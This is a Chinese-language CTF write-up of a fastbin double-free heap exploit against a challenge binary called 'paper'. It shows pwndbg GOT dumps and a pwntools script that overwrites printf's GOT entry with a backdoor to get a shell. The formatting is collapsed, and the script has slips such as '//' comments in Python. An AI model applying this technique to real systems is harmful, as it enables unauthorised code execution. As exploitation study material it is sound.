xuanxuan : https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/ Write_Some_Paper申请不同的编号有影响吗???? 怎么getshell呢?​ 首先是获取任意或者受限制的地址读写的能力,然后修改关键函数等,比如修改got表,把函数地址替换成system或者后门函数地址,然后再执行的时候就getshell了 怎么实现地址写?​ 利用double free,可以操控堆块的fd,从而实现把任意地址当作bin来进行申请空间,这样就获得了该地址的读写能力 double free123456789add(0,40,"h")add(1,40,"h") delete(0)delete(1)delete(0) //double free了add(2,40,p64(0x60203a))//这个需要填入覆盖地址了add(3,40,"bbb")add(3,40,"bbb") // 这一步后,会把fd(p64(0x60203a)) 放到fastbin的头部,下一次会申请到这里add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg'])) //此时申请的就是第一次add时填入的fd地址 申请堆块时的地址约束​ 即size字段需要是fastbin这个链的大小，即目标地址的前8个字节需要满足，64位下这8个字节只要低4个字节满足就可以了。所以通过这种方式，我们可以控制的内存是需要满足一定约束的内存。也可以称这种满足要求的内存部分为伪堆块。获得这种内存有两种方式： 寻找是否有天然满足伪堆块的约束的内存 想办法构造伪堆块 8字节prev_size 随意 , 8字节size(64位下前4字节满足大小,如0x40大小),要覆盖的fd(要修改的内存地址) 要找到覆盖的函数, 123456789pwndbg> x/16gx 0x6020000x602000: 0x0000000000601e28 0x00007ffff7ffe1680x602010: 0x00007ffff7dee0b0 0x00007ffff7a91a700x602020: 0x00007ffff7a7d5d0 0x00007ffff7a7c0e00x602030: 0x0000000000400746 0x00000000004007560x602040: 0x00007ffff7a637b0 0x00007ffff7a2e7400x602050: 0x0000000000400786 0x00007ffff7a493b00x602060: 0x00007ffff7a91550 0x00007ffff7a7ddb00x602070: 0x00007ffff7a79480 0x00000000004007d6 这几个地方都可以作为size 123456789101112130x602000: 0x28 0x1e 0x60 0x00 0x00 0x00 0x00 0x000x602008: 0x68 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x000x602010: 0xb0 0xe0 0xde 0xf7 0xff 0x7f 0x00 0x000x602018 <free@got.plt>: 0x70 0x1a 0xa9 0xf7 0xff 0x7f 0x00 0x000x602020 <puts@got.plt>: 0xd0 0xd5 0xa7 0xf7 0xff 0x7f 0x00 0x000x602028 <fread@got.plt>: 0xe0 0xc0 0xa7 0xf7 0xff 0x7f 0x00 0x000x602030 <__stack_chk_fail@got.plt>: 0x46 0x07 0x40 0x00 0x00 0x00 0x00 0x000x602038 <system@got.plt>: 0x56 0x07 0x40 0x00 0x00 0x00 0x00 0x000x602040 <printf@got.plt>: 0xb0 0x37 0xa6 0xf7 0xff 0x7f 0x00 0x000x602048 <__libc_start_main@got.plt>: 0x40 0xe7 0xa2 0xf7 0xff 0x7f 0x00 0x000x602050 <__gmon_start__@got.plt>: 0x86 0x07 0x40 0x00 0x00 0x00 0x00 0x000x602058 <strtol@got.plt>: 0xb0 0x93 0xa4 0xf7 0xff 0x7f 0x00 0x000x602060 <malloc@got.plt>: 0x50 0x15 0xa9 0xf7 ​ 根据这个来选择申请的堆块的大小 ​ 注意大小端的问题,这里选取这里作为伪造的chunk的size,然后后面是可控的数据,注意不要把system破坏了,然后把printf修改成后们地址即可 exp123456789101112131415161718192021222324252627282930from pwn import *context.log_level= "debug"io = process("./paper")elf = ELF("./paper")def add(num,length,context): io.sendlineafter("delete paper","1") io.sendlineafter("(0-9):",str(num)) io.sendlineafter("enter",str(length)) io.sendlineafter("content",context)def delete(index): io.sendlineafter("delete paper","2") io.sendlineafter("(0-9):",str(index)) add(0,40,"h")add(1,40,"h") delete(0)delete(1)delete(0)add(2,40,p64(0x60203a))//这个需要填入覆盖地址了add(3,40,"bbb")add(3,40,"bbb")add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg']))io.recv(1024)io.sendline("a")io.interactive()#io.recv(1024)